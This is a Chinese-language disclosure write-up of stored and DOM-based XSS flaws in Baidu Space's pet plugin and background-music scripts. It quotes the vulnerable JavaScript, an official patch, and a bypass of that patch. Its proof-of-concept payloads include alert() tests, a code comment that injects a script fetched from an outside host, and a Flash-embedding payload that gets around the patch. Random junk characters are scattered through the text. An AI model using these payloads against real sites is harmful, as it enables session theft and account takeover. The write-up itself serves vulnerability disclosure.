百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. . i6 B! k, ^; h6 ~; _
+ e, p5 O/ H' v
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
# U. I2 a9 D j8 N" S" @0 F2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
% R4 F5 T! w: F' d$ s
8 K0 F [, A& x* e: x将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> + l: z$ u1 R; G
其中BdUtil.insertWBR为 ]& M4 i; ?4 L& [
function(text, step) { * t5 m, i' ]7 K
var textarea = textAreaCache || getContainer();
$ I% s/ o& K& `) X( M0 U; @ if (!textarea) {
1 r! ~3 O- M. [5 L- N return text;
. P9 U: u9 \8 X# L* J }
) d7 l( {8 t, D$ K. P textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); ; d$ j1 q% Z8 o
var string = textarea.value; ) Z- V. q0 [0 O6 ~$ Q
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); # w& | ^) C/ D/ |1 A1 I
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
+ j/ j. C7 x9 R1 @; P6 \) ` return result; ; k. k- a# D o0 K/ I# t5 z9 {
} , ^ H8 Y+ j% O8 p
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
f& p' m% |8 g测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 7 u, A4 I0 ?0 c S
3 v0 o; x3 M! {* B; _
二:creatbgmusic() Dom-Xss Bug O L7 I7 B9 t* x+ g
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
( L! {6 ?; d' h7 b, @: T$ C# n F; b% H
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
4 w2 a2 D2 f. g* {7 z. x, s+ u" \2 x1 ^ ]1 |: k1 D& c
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
, d1 p" r4 |& B1 X) h' t3 L //传入的murl赋值到bgmusic1和bgmusic2中
4 l$ F7 p2 s# F //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
. @" d/ g3 m- \4 P( g) E var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; . z; W# v/ T3 h' c" W* t6 y% h6 j
if (musicnum <= 1) {
/ B( |+ g7 Q3 r bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; / z% w) O+ {' ?( X) Y& U1 d
} ! R0 j+ E2 e3 l
bgmusic1 += "</OBJECT>";
# |& K( b0 n7 N6 X7 @ var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
- ~9 q' q2 ]6 p if (musicnum <= 1) {
, T/ `; X4 W( f, _# B8 w bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; . r9 b) A, w: \4 F: j5 v, P
} 3 `0 x. x" d5 M; @+ _/ R
bgmusic2 += "> </EMBED>";
# o/ Q) j( L6 R, ~* S! a; S& \ var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ! O1 {; @( R& C# D$ G. r
var bgmus = detectWMP();
2 U# u* P$ Q$ U if (functype == "FckMusicHelper") { 3 a U: \( j; ?
if (bgmus.installed) { # S- f! Y# S2 [/ M/ ~! [
if (bgmus.type == "IE") {
7 Q: m( @3 ^8 f# u; E; |' [8 x) w return bgmusic1;
" B5 |& Y) w/ V& W7 `+ W9 U% v } else if (bgmus.type == "NS") { : N( g: w" Q+ j& C
return bgmusic2;
* D+ m1 U+ f% S% V/ H- d }
) i9 Z4 `2 ^, M. Z) A } else {
0 y7 Z. n9 n- d, r5 ^ return bgmusic3; * @" a" R& T( q0 f5 ^9 e! I
}
4 Y E: C& s p4 u# x! M% c } else { ?$ }) S# d5 D2 c. ~! \4 M9 E; Q
if (bgmus.installed) { 7 q5 G# E; K, f- V5 e' n6 R( V
//document.write 直接输出bgmusic变量 导致xss
+ L8 W* x- i0 ?6 G; O) F if (bgmus.type == "IE") { - F# `, J+ t. [6 b6 G+ Q% k
document.write(bgmusic1); $ x: [3 P9 O3 u5 B# u+ {# e, }; Y
} else if (bgmus.type == "NS") {
* h, Z( X# ^* i, p8 y m document.write(bgmusic2); }; v6 d" o T2 |3 J
} 3 G( o0 D6 y8 H: C* \
} else { - x3 E1 g5 ~6 N
document.write(bgmusic3); g( y8 Q& G: X( [. w0 E, f7 u
}
9 Q+ D/ z# q( l! y return ""; " h) ?( j6 d+ j* s, p0 i
} % i. Z4 R% k% {9 M. r' c) x- r
}
6 t! }5 ?* j( e( ^4 h t
) ~; ?/ _5 t4 S. a在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ! \4 {% K8 T4 [$ Y; m5 l, H
* N8 C* r3 a# v* K1 E h! ]# t
function initBlogTextForFCK(){
5 e& [8 F6 G8 y7 g//fck init music 3 _5 I- ~1 u2 x% T
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
5 ], K3 h5 x7 ~1 G& \. G+ Cvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
$ F. i3 [, a" `9 h4 d ^1 ]var isAutoPlay=true; 1 s- q0 A/ U6 d& ]: d
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
6 J+ y8 x; q; o" v var img=imgBox; 1 ~/ k% F Y, s* _( V8 N" [
if(img.getAttribute(’rel’)){
9 w p, W; \9 H var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
1 ]5 [9 b, D9 l- `, \% ? var musicDiv = document.createElement("SPAN"); . ^- J0 u) k' t) h. {
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
* ]3 b0 a! W: r" M% L) b- f& E
' \; n+ ^! M- v2 v1 J" W ..........................
. P1 d9 B& y4 q( }4 ^# }. k: [9 P
4 l: q( m& j4 a7 l. ?7 V$ R4 r, C //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
0 D& C; U3 b& ^- C+ q var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * Q: F4 Y/ S6 c
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); + E( v* p5 X3 ^% _/ Y8 v0 r2 \: l) R1 E
musicDiv.innerHTML=shtml;
' X0 B% q" _* K- ?/ P i--;n--;
! L9 c0 v. d1 a# v6 `7 ]$ P } : l: j4 c9 ]+ h# z% }9 v
} 8 ^ w( E* I, P7 l6 D
U V6 }% K" S' L! \) s
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 2 N/ E5 }0 y2 W4 Z
k6 V- D4 w$ {$ L! p9 p测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
" A: \2 D% E$ Y3 {! r2 E1 K* T; O; X- S+ C2 t5 F, n0 T
等待官方补丁 3 ]: c) I, c8 B) v4 ]* A: C
% L/ J6 t0 w N4 u, u& ?6 X* R. ~5 X; }update 2010年5月13日
x1 g2 a, d# s) i2 F! K( d8 `0 ~
( Y4 e: u( W! M/ m; v) q# t官方补丁: ! n! b2 Y! Q8 C5 U" Z7 X" c
2 Q0 K0 y8 n1 M- ~5 @
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * U: g! y* @7 ~3 e
改为: $ G4 O7 q. A' K: g( q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 5 W8 w. y2 a) x L
; ?; ~9 Q2 m/ u; }4 h
update 2010年5月13日 21:50:37
9 `6 G7 i# |: x+ J) A2 f! L2 @2 h" x; Y; C) L
补丁存在漏洞 没有过滤" 可以继续跨: $ v8 G3 Y& M- O
" G Q8 w4 v, Y5 J1 ]/ N& VNEW POC:
) ]' U! v$ P, Y% n1 a4 d% b( a
7 x- Y4 ?) B) u9 t<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" : [( s/ D% r/ q
8 a1 E( |; B% Q8 q# r% E0 Z5 Zallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
3 e. K6 U, ^/ o$ V1 P; q$ {2 z - q: S3 o/ s& A$ D& o
|